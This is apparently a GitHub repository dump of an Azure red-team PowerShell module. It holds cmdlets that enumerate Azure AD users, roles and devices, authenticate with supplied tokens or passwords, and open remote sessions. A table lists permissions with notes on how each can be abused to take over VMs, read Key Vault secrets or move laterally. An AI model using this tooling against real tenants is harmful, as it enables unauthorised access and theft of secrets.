├── .gitattributes ├── AzureRT.ps1 ├── README.md ├── findADFS.ps1 ├── image.png └── lootVM.ps1 /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /AzureRT.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # Azure Red Team Powershell module. 3 | # 4 | # Set of useful cmdlets used to collect reconnessaince data, query Azure, Azure AD or 5 | # Office365 for valuable intelligence and perform various offensive activities using 6 | # solely JWT Access Token or by interacting with related Powershell modules 7 | # (Az, AzureAD, AzureADPreview) as well as AZ CLI. 8 | # 9 | # Requirements:a 10 | # Install-Module Az 11 | # Install-Module AzureAD 12 | # Install-Module Microsoft.Graph (optional) 13 | # az cli (optional) 14 | # 15 | # Author: 16 | # Mariusz Banach / mgeeky, '22 17 | # 18 | # 19 | 20 | $KnownDangerousPermissions = @{ 21 | '`*/`*' = 'UNLIMITED PRIVILEGES IN THE ENTIRE AZURE SUBSCRIPTION!' 22 | '`*/read' = 'Can read all sensitive data on a specified resource/service!' 23 | '`*/write' = 'Can MODIFY all settings and data on a specified resource/service!' 24 | 25 | 'storageAccounts/read' = 'Allows User to read Storage Accounts and related Blobs' 26 | 'storageAccounts/blobServices/containers/read' = 'Allows User to read Blobs Containers' 27 | 'storageAccounts/blobServices/containers/blobs/write' = 'Allows Users to upload malicious files to Blob Containers' 28 | 29 | 'roleAssignments/write' = 'Facilitates Privileges Escalation through a malicious Role Assignment' 30 | 31 | 'microsoft.intune/allEntities/allTasks' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator' 32 | 'microsoft.intune/allEntities/`*' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator' 33 | 'microsoft.intune/*/`*' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator' 34 | 35 | 'virtualMachines/`*' = 'Complete control over Azure VM can lead to a machine takeover by Running arbitrary Powershell commands (runCommand)' 36 | 'virtualMachines/read' = 'User can read Azure VMs User Data contents as well as other VMs properties.' 37 | 'virtualMachines/write' = 'Partial control over Azure VM can lead to a machine takeover by modification of VMs User Data' 38 | 'virtualMachines/runCommand' = 'Allows User to Compromise Azure VM by Running arbitrary Powershell commands.' 39 | 40 | 'virtualMachines/extensions/write' = 'User can compromise Azure VM by creating a Custom Script Extension on that VM.' 41 | 'virtualMachines/extensions/read' = 'User can read a Custom Script Extension output on a Azure VM, which may contain sensitive data.' 42 | 43 | 'secrets/getSecret' = 'User can read Key Vault Secret contents' 44 | 'vaults/*/read' = 'User can access Key Vault Secrets.' 45 | 'Microsoft.KeyVault/vaults/`*' = 'User can access Key Vault Secrets.' 46 | 'vaults/certificatecas/`*' = 'User can access Key Vault Certificates' 47 | 'vaults/certificates/`*' = 'User can access Key Vault Certificates' 48 | 'vaults/keys/`*' = 'User can access Key Vault Keys' 49 | 'vaults/secrets/`*' = 'User can access Key Vault Keys' 50 | 51 | 'microsoft.directory/users/inviteGuest' = 'Can invite Guest Users to Azure AD Tenant' 52 | 53 | 'automationAccounts/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks' 54 | 'automationAccounts/jobs/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs' 55 | 'automationAccounts/jobs/write' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs' 56 | 'automationAccounts/runbooks/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks' 57 | 58 | 'users/password/update' = 'User can reset Other non-admin user passwords' 59 | 'users/authenticationMethods/create' = 'User can create new Authentication Method on another user' 60 | 'users/authenticationMethods/delete' = 'User can delete Authentication Method of another user.' 61 | 'users/authenticationMethods/basic/update' = 'User can update authentication methods of another user' 62 | 63 | '/`*' = 'Unlimited privileges in a specified Azure Service. May result in data compromise, infiltration and other attacks.' 64 | #'`*' = 'Unlimited privileges in this specific resource/service!' 65 | } 66 | 67 | 68 | Function Get-ARTWhoami { 69 | <# 70 | .SYNOPSIS 71 | Prints current authentication context 72 | 73 | .DESCRIPTION 74 | Pulls current context information from Az and AzureAD modules and presents them bit nicer. 75 | 76 | .PARAMETER CheckToken 77 | When used will attempt to validate token. 78 | 79 | .PARAMETER Az 80 | Show Az authentication context. 81 | 82 | .PARAMETER AzureAD 83 | Show AzureAD authentication context. 84 | 85 | .PARAMETER MGraph 86 | Show MGraph authentication context. 87 | 88 | .PARAMETER AzCli 89 | Show az cli authentication context. 90 | 91 | .EXAMPLE 92 | Example 1: Will show all authentication contexts supported (Az, AzureAD, MGraph, az cli) 93 | PS> Get-ARTWhoami 94 | 95 | Example 2: Will show all authentication contexts supported and validate access tokens: 96 | PS> Get-ARTWhoami -CheckToken 97 | 98 | Example 3: Will show only Az and AzureAD authentication context: 99 | PS> Get-ARTWhoami -Az -AzureAD 100 | #> 101 | 102 | [cmdletbinding()] 103 | param( 104 | [Switch] 105 | $CheckToken, 106 | 107 | [Switch] 108 | $Az, 109 | 110 | [Switch] 111 | $AzureAD, 112 | 113 | [Switch] 114 | $MGraph, 115 | 116 | [Switch] 117 | $AzCli 118 | ) 119 | 120 | $All = $true 121 | 122 | if($Az -or $AzureAD -or $MGraph -or $AzCli) { 123 | $All = $false 124 | } 125 | 126 | $EA = $ErrorActionPreference 127 | #$ErrorActionPreference = 'silentlycontinue' 128 | 129 | Write-Host "" 130 | 131 | if((Get-Command Get-AzContext) -and ($All -or $Az)) { 132 | 133 | Write-Host "=== Azure context (Az module):" -ForegroundColor Yellow 134 | try { 135 | $AzContext = Get-AzContext 136 | 137 | if($CheckToken) { 138 | try { 139 | Get-AzTenant -ErrorAction SilentlyContinue | Out-Null 140 | Write-Host "`n[+] Token is valid on Azure." -ForegroundColor Green 141 | } 142 | catch { 143 | Write-Host "`n[-] Token is invalid on Azure." -ForegroundColor Red 144 | } 145 | } 146 | 147 | $AzContext | Select Name,Account,Subscription,Tenant | fl 148 | 149 | } catch { 150 | Write-Host "[!] Not authenticated to Azure.`n" -ForegroundColor Red 151 | Write-Host "" 152 | } 153 | } 154 | 155 | if((Get-Command Get-AzureADCurrentSessionInfo) -and ($All -or $AzureAD)) { 156 | Write-Host "=== Azure AD context (AzureAD module):" -ForegroundColor Yellow 157 | 158 | try { 159 | $AzADCurrSess = Get-AzureADCurrentSessionInfo 160 | 161 | if($CheckToken) { 162 | try { 163 | Get-AzureADTenantDetail -ErrorAction SilentlyContinue | Out-Null 164 | Write-Host "`n[+] Token is valid on Azure AD." -ForegroundColor Green 165 | } 166 | catch { 167 | Write-Host "`n[-] Token is invalid on Azure AD." -ForegroundColor Red 168 | } 169 | } 170 | 171 | $sp = $null 172 | try { 173 | $sp = Get-AzureADServicePrincipal | ? { $_.ServicePrincipalNames -contains $AzADCurrSess.Account } 174 | } 175 | catch { 176 | } 177 | 178 | if($sp -ne $null) { 179 | $membership = $null 180 | try { 181 | $membership = Get-AzureADServicePrincipalMembership -ObjectId $sp.ObjectId 182 | }catch{} 183 | 184 | $AzADCurrSess | Select Account,Environment,Tenant,TenantDomain,@{Name="PrincipalType";Expression={'ServicePrincipal'}},@{Name="ApplicationName";Expression={$sp.DisplayName}},@{Name="ApplicationId";Expression={$sp.ObjectId}},@{Name="MemberOf";Expression={$membership | select -ExpandProperty DisplayName}} | fl 185 | } 186 | else { 187 | $membership = $null 188 | try { 189 | $membership = Get-AzureADUserMembership -ObjectId $AzADCurrSess.Account.Id 190 | }catch{} 191 | 192 | $AzADCurrSess | Select Account,Environment,Tenant,TenantDomain,@{Name="PrincipalType";Expression={'User'}},@{Name="MemberOf";Expression={$membership | select -ExpandProperty DisplayName}} | fl 193 | } 194 | 195 | 196 | } catch { 197 | Write-Host "[!] Not authenticated to Azure AD.`n" -ForegroundColor Red 198 | throw 199 | Write-Host "" 200 | } 201 | } 202 | 203 | try { 204 | if (($All -or $MGraph) -and (Get-Command Get-MGContext -ErrorAction SilentlyContinue)) { 205 | Write-Host "=== Microsoft Graph context (Microsoft.Graph module):" -ForegroundColor Yellow 206 | 207 | try { 208 | $mgContext = Get-MGContext 209 | 210 | if($CheckToken) { 211 | try { 212 | Get-MGOrganization -ErrorAction SilentlyContinue | Out-Null 213 | Write-Host "`n[+] Token is valid on Microsoft Graph." -ForegroundColor Green 214 | } 215 | catch { 216 | if($PSItem.Exception.Message -like '*Insufficient privileges to complete the operation*') { 217 | Write-Host "`n[+] Token is valid on Microsoft Graph." -ForegroundColor Green 218 | } 219 | else { 220 | Write-Host "`n[-] Token is invalid on Microsoft Graph." -ForegroundColor Red 221 | } 222 | } 223 | } 224 | 225 | $mgContext | Select Account,AppName,ContextScope,ClientId,TenantId,AuthType | fl 226 | 227 | } catch { 228 | Write-Host "[!] Not authenticated to Microsoft.Graph.`n" -ForegroundColor Red 229 | Write-Host "" 230 | } 231 | } 232 | } catch { 233 | Write-Host "[!] Microsoft.Graph module not loaded. Load it with Import-Module MSOnline`n" -ForegroundColor Red 234 | Write-Host "" 235 | } 236 | 237 | if($All -or $AzCli) { 238 | Write-Host "=== AZ CLI context:" -ForegroundColor Yellow 239 | 240 | try { 241 | $AzAcc = az account show | convertfrom-json 242 | 243 | $Coll = New-Object System.Collections.ArrayList 244 | 245 | $obj = [PSCustomObject]@{ 246 | Username = $AzAcc.User.Name 247 | Usertype = $AzAcc.User.Type 248 | TenantId = $AzAcc.tenantId 249 | TenantName = $AzAcc.name 250 | SubscriptionId = $AzAcc.Id 251 | Environment = $AzAcc.EnvironmentName 252 | } 253 | 254 | $null = $Coll.Add($obj) 255 | 256 | $Coll | fl 257 | 258 | } catch { 259 | Write-Host "[!] Not authenticated to AZ CLI.`n" -ForegroundColor Red 260 | Write-Host "" 261 | } 262 | } 263 | 264 | $ErrorActionPreference = $EA 265 | } 266 | 267 | 268 | Function Get-ARTSubscriptionId { 269 | <# 270 | .SYNOPSIS 271 | Returns the first Subscription ID available. 272 | 273 | .DESCRIPTION 274 | Returns the first Subscription ID available. 275 | 276 | .PARAMETER AccessToken 277 | Azure Management Access Token 278 | 279 | .EXAMPLE 280 | PS> Get-ARTSubscriptionId -AccessToken $token 281 | #> 282 | 283 | [cmdletbinding()] 284 | param( 285 | [Parameter(Mandatory=$False)] 286 | [string] 287 | $AccessToken 288 | ) 289 | 290 | try { 291 | 292 | $EA = $ErrorActionPreference 293 | $ErrorActionPreference = 'silentlycontinue' 294 | 295 | if($AccessToken -ne $null -and $AccessToken.Length -gt 0) { 296 | $headers = @{ 297 | 'Authorization' = "Bearer $AccessToken" 298 | } 299 | 300 | $SubscriptionId = (Invoke-RestMethod -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" -Headers $headers).value.subscriptionId 301 | } 302 | else { 303 | $SubscriptionId = (Get-AzContext).Subscription.Id 304 | } 305 | 306 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 307 | throw "Could not acquire Subscription ID!" 308 | } 309 | 310 | if( $SubscriptionId.Split(' ').Length -gt 1 ) { 311 | $First = $SubscriptionId.Split(' ')[0] 312 | Write-Warning "[#] WARNING: There are multiple Subscriptions available in this Tenant! Specify -SubscriptionId parameter to narrow down results." 313 | Write-Warning " Picking the first Subscription Id: $First" 314 | 315 | $SubscriptionId = $First 316 | } 317 | 318 | return $SubscriptionId.Split(' ')[0] 319 | } 320 | catch { 321 | Write-Host "[!] Function failed!" -ForegroundColor Red 322 | Throw 323 | Return 324 | } 325 | finally { 326 | $ErrorActionPreference = $EA 327 | } 328 | } 329 | 330 | 331 | Function Parse-JWTtokenRT { 332 | [alias("Parse-JWTokenRT")] 333 | <# 334 | .SYNOPSIS 335 | Prints JWT token contents. 336 | 337 | .DESCRIPTION 338 | Parses input JWT token and prints it out nicely. 339 | 340 | .PARAMETER Token 341 | JWT token to parse. 342 | 343 | .PARAMETER Json 344 | Return parsed token as JSON object. 345 | 346 | .PARAMETER ShowHeader 347 | Include Header in token representation. 348 | 349 | .EXAMPLE 350 | PS> Parse-JWTokenRT -Token $token 351 | #> 352 | 353 | [cmdletbinding()] 354 | param( 355 | [Parameter(Mandatory=$true)] 356 | [string] 357 | $Token, 358 | 359 | [Switch] 360 | $Json, 361 | 362 | [Switch] 363 | $ShowHeader 364 | ) 365 | 366 | try { 367 | if($Token -eq $null -or $Token.Length -eq 0 ) { 368 | Write-Error "Empty token." 369 | Return 370 | } 371 | 372 | $EA = $ErrorActionPreference 373 | $ErrorActionPreference = 'silentlycontinue' 374 | 375 | if (!$token.Contains(".") -or !$token.StartsWith("eyJ")) { Write-Error "Invalid JWT token!" -ErrorAction Stop } 376 | 377 | $tokenheader = $token.Split(".")[0].Replace('-', '+').Replace('_', '/') 378 | 379 | while ($tokenheader.Length % 4) { $tokenheader += "=" } 380 | 381 | $tokenHdrByteArray = [System.Convert]::FromBase64String($tokenheader) 382 | $tokenHdrArray = [System.Text.Encoding]::ASCII.GetString($tokenHdrByteArray) 383 | $tokhdrobj = $tokenHdrArray | ConvertFrom-Json 384 | 385 | $tokenPayload = $token.Split(".")[1].Replace('-', '+').Replace('_', '/') 386 | while ($tokenPayload.Length % 4) { $tokenPayload += "=" } 387 | 388 | $tokenByteArray = [System.Convert]::FromBase64String($tokenPayload) 389 | $tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray) 390 | $tokobj = $tokenArray | ConvertFrom-Json 391 | 392 | if ([bool]($tokobj.PSobject.Properties.name -match "iat")) { 393 | $tokobj.iat = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.iat) 394 | } 395 | 396 | if ([bool]($tokobj.PSobject.Properties.name -match "nbf")) { 397 | $tokobj.nbf = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.nbf) 398 | } 399 | 400 | if ([bool]($tokobj.PSobject.Properties.name -match "exp")) { 401 | $tokobj.exp = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.exp) 402 | } 403 | 404 | if ([bool]($tokobj.PSobject.Properties.name -match "xms_tcdt")) { 405 | $tokobj.xms_tcdt = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.xms_tcdt) 406 | } 407 | 408 | if($ShowHeader) { 409 | $tokobj.header = $tokhdrobj 410 | } 411 | 412 | if($Json) { 413 | Return ($tokobj | ConvertTo-Json) 414 | } 415 | 416 | return $tokobj 417 | } 418 | catch { 419 | Write-Host "[!] Function failed!" -ForegroundColor Red 420 | Throw 421 | Return 422 | } 423 | finally { 424 | $ErrorActionPreference = $EA 425 | } 426 | } 427 | 428 | ###########CUSTOM FUNCTIONS########### 429 | Function ImportAll { 430 | import-module Az 431 | write-host "[+] Imported Az..." 432 | import-module AzureAD 433 | write-host "[+] Imported AzureAD..." 434 | #import-module C:\AzAD\Tools\MSOnline\MSOnline.psd1 435 | #write-host "[+] Imported MSOnline..." 436 | #import-module C:\AzAD\Tools\AADInternals\AADInternals.psd1 437 | #write-host "[+] Imported AADInternals..." 438 | write-host "[+] Done! Imported all modules." 439 | } 440 | Function List-DeviceOwners { 441 | $users = (Get-AzureADUser | select -ExpandProperty UserPrincipalName) 442 | foreach ($user in $users) { 443 | if (Get-AzureADUserOwnedDevice -ObjectId $user) { 444 | Write-Host -ForegroundColor Green "*** Devices owned by $user :" 445 | Get-AzureADUserOwnedDevice -ObjectId $user 446 | Write-Host "____________________________________________________________" 447 | Write-Host "" 448 | } 449 | } 450 | } 451 | Function Evil-Winrm { 452 | param ( 453 | [string]$UserName, 454 | [string]$Password, 455 | [string]$TargetIP, 456 | [string]$TargetHostName 457 | ) 458 | $loginName = $TargetHostName + "\" + $UserName 459 | $SecPassword = ConvertTo-SecureString $Password -AsPlainText -Force 460 | $cred = New-Object System.Management.Automation.PSCredential($loginName, $SecPassword) 461 | $script:evilSession = New-PSSession -ComputerName $TargetIP -Credential $cred 462 | Enter-PSSession -ComputerName $TargetIP -Credential $cred 463 | } 464 | Function dis { 465 | Disconnect-AzAccount 466 | Disconnect-AzureAD 467 | } 468 | Function Connect-All { 469 | param ( 470 | [string]$UserName, 471 | [string]$Password 472 | 473 | ) 474 | $SecPassword = ConvertTo-SecureString $Password -AsPlainText -Force 475 | $cred = New-Object System.Management.Automation.PSCredential($UserName, $SecPassword) 476 | if ($cred) { Write-Host "Connecting..." } 477 | Connect-ARTAD -Credential $cred 478 | Connect-ART -Credential $cred 479 | Connect-MsolService -Credential $cred 480 | 481 | } 482 | 483 | Function Enum-All { 484 | Get-ARTAccess 485 | Get-ARTADAccess 486 | } 487 | 488 | Function whois { 489 | param ( 490 | [string]$Target 491 | ) 492 | $objID = (Get-AzureADUser -ObjectId $Target).ObjectId 493 | $upn = (Get-AzureADUser -ObjectId $Target).UserPrincipalName 494 | Write-Host "" 495 | Write-Host -ForegroundColor Green "[+] Target set to: $upn - $objID" 496 | Write-Host "" 497 | Write-Host -ForegroundColor Green "[+] Group Memeberships:" 498 | Get-AzureADUserMembership -ObjectId $objID | fl displayname,Description,ObjectId 499 | Write-Host "" 500 | Write-Host "_________________________________________________" 501 | Write-Host "" 502 | Write-Host -ForegroundColor Green "[+] Role Assignments:" 503 | Get-AzRoleAssignment -ObjectId $objID | fl RoleDefinitionName,scope 504 | Write-Host "" 505 | Write-Host "_________________________________________________" 506 | Write-Host "" 507 | Write-Host -ForegroundColor Green "[+] Administrative Unit Memeberships:" 508 | Write-Host "" 509 | $administrativeUnits = Get-MsolAdministrativeUnit 510 | foreach ($administrativeUnit in $administrativeUnits) { 511 | $administrativeUnitName = $administrativeUnit.DisplayName 512 | 513 | 514 | $isMember = Get-MsolAdministrativeUnitMember -AdministrativeUnitObjectId $administrativeUnit.ObjectId -All | 515 | Where-Object {$_.EmailAddress -eq $upn} 516 | 517 | if ($isMember) { 518 | $adminUnitDesc = (Get-MsolAdministrativeUnit -ObjectId $administrativeUnit.ObjectId).Description 519 | Write-Host "$upn is a member of Administrative Unit: $administrativeUnitName" 520 | Write-Host "Administrative Unit Description: $adminUnitDesc" 521 | $scopedRole = Get-AzureADMSScopedRoleMembership -Id $administrativeUnit.ObjectId -ErrorAction SilentlyContinue 522 | if ($scopedRole) { 523 | $actualrolID = $scopedRole.RoleId 524 | $actualroleName = (Get-AzureADDirectoryRole -ObjectId $actualrolID).DisplayName 525 | $actualrolDesc = (Get-AzureADDirectoryRole -ObjectId $actualrolID).Description 526 | $actualrolAssignee = (Get-AzureADMSScopedRoleMembership -Id $administrativeUnit.ObjectId -ErrorAction SilentlyContinue | select -ExpandProperty rolememberinfo).UserPrincipalName 527 | Write-Host -ForegroundColor Red "[+] Attention: Admin Unit has Scoped Role(s)!" 528 | Write-Host "[+] Scoped Role: $actualroleName" 529 | Write-Host "[+] Scoped Role Description: $actualrolDesc" 530 | Write-Host "[+] Scoped Role Assignee: $actualrolAssignee" 531 | 532 | } 533 | } 534 | #else { Write-Host "$upn is NOT a member of $administrativeUnitName" } 535 | } 536 | Write-Host "" 537 | } 538 | ###################################### 539 | 540 | Function Connect-ART { 541 | <# 542 | .SYNOPSIS 543 | Connects to the Azure. 544 | 545 | .DESCRIPTION 546 | Invokes Connect-AzAccount to authenticate current session to the Azure Portal via provided Access Token or credentials. 547 | Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 548 | 549 | .PARAMETER AccessToken 550 | Specifies JWT Access Token for the https://management.azure.com resource. 551 | 552 | .PARAMETER GraphAccessToken 553 | Optional access token for Azure AD service (https://graph.microsoft.com). 554 | 555 | .PARAMETER KeyVaultAccessToken 556 | Optional access token for Key Vault service (https://vault.azure.net). 557 | 558 | .PARAMETER SubscriptionId 559 | Optional parameter that specifies to which subscription should access token be acquired. 560 | 561 | .PARAMETER TokenFromAzCli 562 | Use az cli to acquire fresh access token. 563 | 564 | .PARAMETER Username 565 | Specifies Azure portal Account name, Account ID or Application ID. 566 | 567 | .PARAMETER Password 568 | Specifies Azure portal password. 569 | 570 | .PARAMETER TenantId 571 | When authenticating as a Service Principal, the Tenant ID must be specifed. 572 | 573 | .PARAMETER Credential 574 | PS Credential object containing principal credentials to connect with. 575 | 576 | .EXAMPLE 577 | Example 1: Authentication as a user to the Azure via Access Token: 578 | PS> Connect-ART -AccessToken 'eyJ0eXA...' 579 | 580 | Example 2: Authentication as a user to the Azure via Credential: 581 | PS> Connect-ART -Username test@test.onmicrosoft.com -Password Foobar123% 582 | 583 | Example 3: Authentication as a user to the Azure via Credential object: 584 | PS> Connect-ART -Credential $creds 585 | 586 | Example 4: Authentication as a Service Principal using added Application Secret: 587 | PS> Connect-ART -ServicePrincipal -Username f072c4a6-e696-11eb-b57b-00155d01ef0d -Password 'agq7Q~UZX5SYwxq2O7FNW~C_S1QNJcJrlLu.E' -TenantId b423726f-108d-4049-8c11-d52d5d388768 588 | #> 589 | 590 | [CmdletBinding(DefaultParameterSetName = 'Token')] 591 | Param( 592 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 593 | [String] 594 | $AccessToken = $null, 595 | 596 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 597 | [String] 598 | $GraphAccessToken = $null, 599 | 600 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 601 | [String] 602 | $KeyVaultAccessToken = $null, 603 | 604 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 605 | [String] 606 | $SubscriptionId = $null, 607 | 608 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 609 | [Switch] 610 | $TokenFromAzCli, 611 | 612 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 613 | [String] 614 | $Username = $null, 615 | 616 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 617 | [String] 618 | $Password = $null, 619 | 620 | [Parameter(Mandatory=$False, ParameterSetName = 'Credentials')] 621 | [Switch] 622 | $ServicePrincipal, 623 | 624 | [Parameter(Mandatory=$False, ParameterSetName = 'Credentials')] 625 | [String] 626 | $TenantId, 627 | 628 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials2')] 629 | [System.Management.Automation.PSCredential] 630 | $Credential 631 | ) 632 | 633 | try { 634 | $EA = $ErrorActionPreference 635 | $ErrorActionPreference = 'silentlycontinue' 636 | 637 | if (-not (Get-Module -ListAvailable -Name Az.Accounts)) { 638 | Write-Verbose "Az Powershell module not installed or not loaded. Installing it..." 639 | 640 | } 641 | 642 | if($PsCmdlet.ParameterSetName -eq "Token" -and ($AccessToken -eq $null -or $AccessToken -eq "")) { 643 | if($TokenFromAzCli) { 644 | Write-Verbose "Acquiring Azure access token from az cli..." 645 | $AccessToken = Get-ARTAccessTokenAzCli -Resource https://management.azure.com 646 | $KeyVaultAccessToken = Get-ARTAccessTokenAzCli -Resource https://vault.azure.net 647 | } 648 | else { 649 | Write-Verbose "Acquiring Azure access token from Connect-AzAccount..." 650 | $AccessToken = Get-ARTAccessTokenAz -Resource https://management.azure.com 651 | $KeyVaultAccessToken = Get-ARTAccessTokenAz -Resource https://vault.azure.net 652 | } 653 | } 654 | 655 | if($AccessToken -ne $null -and $AccessToken.Length -gt 0) { 656 | Write-Verbose "Azure authentication via provided access token..." 657 | $parsed = Parse-JWTtokenRT $AccessToken 658 | $tenant = $parsed.tid 659 | 660 | if(-not ($parsed.aud -like 'https://management.*')) { 661 | Write-Warning "Provided JWT Access Token is not scoped to https://management.azure.com or https://management.core.windows.net! Instead its scope is: $($parsed.aud)" 662 | } 663 | 664 | if ([bool]($parsed.PSobject.Properties.name -match "upn")) { 665 | Write-Verbose "Token belongs to a User Principal." 666 | $account = $parsed.upn 667 | } 668 | elseif ([bool]($parsed.PSobject.Properties.name -match "unique_name")) { 669 | Write-Verbose "Token belongs to a User Principal." 670 | $account = $parsed.unique_name 671 | } 672 | else { 673 | Write-Verbose "Token belongs to a Service Principal." 674 | $account = $parsed.appId 675 | } 676 | 677 | $headers = @{ 678 | 'Authorization' = "Bearer $AccessToken" 679 | } 680 | 681 | $params = @{ 682 | 'AccessToken' = $AccessToken 683 | 'Tenant' = $tenant 684 | 'AccountId' = $account 685 | } 686 | 687 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 688 | 689 | $SubscriptionId = Get-ARTSubscriptionId -AccessToken $AccessToken 690 | 691 | if(-not ($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0)) { 692 | $params["SubscriptionId"] = $SubscriptionId 693 | } 694 | else { 695 | Write-Warning "Could not acquire Subscription ID! Resulting access token may be corrupted!" 696 | } 697 | } 698 | else { 699 | $params["SubscriptionId"] = $SubscriptionId 700 | } 701 | 702 | if ($KeyVaultAccessToken -ne $null -and $KeyVaultAccessToken.Length -gt 0) { 703 | $parsedvault = Parse-JWTtokenRT $KeyVaultAccessToken 704 | 705 | if(-not ($parsedvault.aud -eq 'https://vault.azure.net')) { 706 | Write-Warning "Provided JWT Key Vault Access Token is not scoped to `"https://vault.azure.net`"! Instead its scope is: `"$($parsedvault.aud)`" . That will not work!" 707 | } 708 | 709 | $params["KeyVaultAccessToken"] = $KeyVaultAccessToken 710 | } 711 | 712 | if ($GraphAccessToken -ne $null -and $GraphAccessToken.Length -gt 0) { 713 | $parsedgraph = Parse-JWTtokenRT $GraphAccessToken 714 | 715 | if(-not ($parsedgraph.aud -match 'https://graph.*')) { 716 | Write-Warning "Provided JWT Graph Access Token is not scoped to `"https://graph.*`"! Instead its scope is: `"$($parsedgraph.aud)`" . That will not work!" 717 | } 718 | 719 | $params["GraphAccessToken"] = $GraphAccessToken 720 | } 721 | 722 | $command = "Connect-AzAccount" 723 | 724 | foreach ($h in $params.GetEnumerator()) { 725 | $command += " -$($h.Name) '$($h.Value)'" 726 | } 727 | 728 | Write-Verbose "Command:`n$command`n" 729 | iex $command 730 | 731 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 732 | Parse-JWTtokenRT $AccessToken 733 | } 734 | } 735 | elseif (($PsCmdlet.ParameterSetName -eq "Credentials2") -and ($Credential -ne $null)) { 736 | if($ServicePrincipal) { 737 | 738 | $Username = $Credential.UserName 739 | 740 | if(-not ($Username -match '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')) { 741 | throw "Service Principal Username must follow a GUID scheme!" 742 | } 743 | 744 | Write-Verbose "Azure authentication via provided Service Principal PSCredential object..." 745 | 746 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 747 | throw "Tenant ID not provided! Pass it in -TenantId parameter." 748 | } 749 | 750 | Connect-AzAccount -Credential $Credential -ServicePrincipal -Tenant $TenantId 751 | 752 | } Else { 753 | Write-Verbose "Azure authentication via provided PSCredential object..." 754 | Connect-AzAccount -Credential $Credential 755 | } 756 | } 757 | else { 758 | $passwd = ConvertTo-SecureString $Password -AsPlainText -Force 759 | $creds = New-Object System.Management.Automation.PSCredential ($Username, $passwd) 760 | 761 | if($ServicePrincipal) { 762 | 763 | if(-not ($Username -match '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')) { 764 | throw "Service Principal Username must follow a GUID scheme!" 765 | } 766 | 767 | Write-Verbose "Azure authentication via provided Service Principal creds..." 768 | 769 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 770 | throw "Tenant ID not provided! Pass it in -TenantId parameter." 771 | } 772 | 773 | Connect-AzAccount -Credential $creds -ServicePrincipal -Tenant $TenantId 774 | 775 | } Else { 776 | Write-Verbose "Azure authentication via provided User creds..." 777 | Connect-AzAccount -Credential $creds 778 | } 779 | } 780 | } 781 | catch { 782 | Write-Host "[!] Function failed!" -ForegroundColor Red 783 | Throw 784 | Return 785 | } 786 | finally { 787 | $ErrorActionPreference = $EA 788 | } 789 | } 790 | 791 | Function Get-ARTUserId { 792 | <# 793 | .SYNOPSIS 794 | Gets current or specified user ObjectId. 795 | 796 | .DESCRIPTION 797 | Acquires current user or user specified in parameter ObjectId 798 | 799 | .PARAMETER Username 800 | Specifies Username/UserPrincipalName/email to use during ObjectId lookup. 801 | 802 | .EXAMPLE 803 | PS> Get-ARTUserId 804 | #> 805 | [CmdletBinding()] 806 | Param( 807 | [Parameter(Mandatory=$False)] 808 | [String] 809 | $Username 810 | ) 811 | 812 | try { 813 | $EA = $ErrorActionPreference 814 | $ErrorActionPreference = 'silentlycontinue' 815 | 816 | $name = (Get-AzureADCurrentSessionInfo).Account 817 | 818 | if($Username -ne $null -and $Username.Length -gt 0) { 819 | $name = $Username 820 | } 821 | 822 | $UserId = (Get-AzureADUser -SearchString $name).ObjectId 823 | 824 | if($UserId -eq $null -or $UserId.Length -eq 0) { 825 | Write-Verbose "Current user is Service Principal" 826 | Return ((Get-AzureADCurrentSessionInfo).Account).Id 827 | } 828 | 829 | Return $UserId 830 | } 831 | catch { 832 | Write-Host "[!] Function failed!" -ForegroundColor Red 833 | Throw 834 | Return $null 835 | } 836 | finally { 837 | $ErrorActionPreference = $EA 838 | } 839 | } 840 | 841 | 842 | Function Connect-ARTADServicePrincipal { 843 | <# 844 | .SYNOPSIS 845 | Connects to the AzureAD as a Service Principal with Certificate. 846 | 847 | .DESCRIPTION 848 | Invokes Connect-AzAccount to authenticate current session to the Azure Portal via provided Access Token or credentials. 849 | Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 850 | 851 | Then it creates self-signed PFX certificate and associates it with Service Principal for authentication. 852 | Afterwards, authenticates as that Service Principal to AzureAD and deassociates that certificate to cleanup 853 | 854 | .PARAMETER TargetApplicationName 855 | Specifies Enterprise Application (by Name or ObjectId) which Service Principal is to be used for authentication. 856 | 857 | .EXAMPLE 858 | Example 1: Connect via Access Token: 859 | PS> Connect-ARTAD -AccessToken '...' 860 | PS> 